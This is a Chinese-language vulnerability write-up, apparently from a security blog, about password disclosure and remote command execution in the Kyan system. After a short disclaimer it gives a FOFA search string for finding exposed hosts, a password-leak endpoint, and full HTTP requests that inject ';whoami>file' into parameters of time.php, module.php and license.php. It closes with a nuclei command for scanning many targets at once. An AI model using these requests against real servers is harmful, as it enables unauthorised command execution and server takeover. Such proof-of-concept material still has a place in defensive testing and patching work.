0x01 阅读须知
融云安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
0x02 漏洞描述
Kyan系统存在密码泄露/多个远程命令执行漏洞,攻击者通过漏洞可以获取服务器权限,导致服务器失陷。
0x03 漏洞复现
fofa:"login_files/button_login_to_bluesky.png"
1.执行密码泄露poc
/hosts
2.进入后台,我们有四种方法可以getshell,第一种time.php,执行whoami写入根目录的1.txt,访问1.txt返回结果,poc如下
POST /time.php HTTP/1.1
Host: {{hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSID=t59mjp5du7evvi9gncm79qp2s6; SpryMedia_DataTables_filesystemTable_status.php=%7B%22iStart%22%3A%200%2C%22iEnd%22%3A%204%2C%22iLength%22%3A%2010%2C%22sFilter%22%3A%20%22%22%2C%22sFilterEsc%22%3A%20true%2C%22aaSorting%22%3A%20%5B%20%5B0%2C'asc'%5D%5D%2C%22aaSearchCols%22%3A%20%5B%20%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%5D%2C%22abVisCols%22%3A%20%5B%20true%2Ctrue%2Ctrue%2Ctrue%2Ctrue%2Ctrue%2Ctrue%5D%7D; MemoryTree=1|1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
timesynctype=;whoami>1.txt
3.第二种module.php,执行whoami写入根目录的2.txt,访问2.txt返回结果,poc如下
GET /module.php?cmd=delete&name=;whoami>2.txt; HTTP/1.1
Host: {{hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSID=t59mjp5du7evvi9gncm79qp2s6; SpryMedia_DataTables_filesystemTable_status.php=%7B%22iStart%22%3A%200%2C%22iEnd%22%3A%204%2C%22iLength%22%3A%2010%2C%22sFilter%22%3A%20%22%22%2C%22sFilterEsc%22%3A%20true%2C%22aaSorting%22%3A%20%5B%20%5B0%2C'asc'%5D%5D%2C%22aaSearchCols%22%3A%20%5B%20%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%5D%2C%22abVisCols%22%3A%20%5B%20true%2Ctrue%2Ctrue%2Ctrue%2Ctrue%2Ctrue%2Ctrue%5D%7D; MemoryTree=1|1
Upgrade-Insecure-Requests: 1
4.第三种license.php,执行whoami写入根目录的3.txt,访问3.txt返回结果,poc如下
GET /license.php?cmd=delete&name=;whoami>3.txt HTTP/1.1
Host: {{hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSID=t59mjp5du7evvi9gncm79qp2s6; SpryMedia_DataTables_filesystemTable_status.php=%7B%22iStart%22%3A%200%2C%22iEnd%22%3A%204%2C%22iLength%22%3A%2010%2C%22sFilter%22%3A%20%22%22%2C%22sFilterEsc%22%3A%20true%2C%22aaSorting%22%3A%20%5B%20%5B0%2C'asc'%5D%5D%2C%22aaSearchCols%22%3A%20%5B%20%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%5D%2C%22abVisCols%22%3A%20%5B%20true%2Ctrue%2Ctrue%2Ctrue%2Ctrue%2Ctrue%2Ctrue%5D%7D; MemoryTree=1|1
Upgrade-Insecure-Requests: 1
5.第四种run.php,页面执行whoami并返回结果
http://{{hostname}}/run.php
6.nuclei批量验证已发表于知识星球,请查收
nuclei.exe -t Kyan_Password_disclosure.yaml -l subs.txt -stats Kyan_Password_disclosure.txt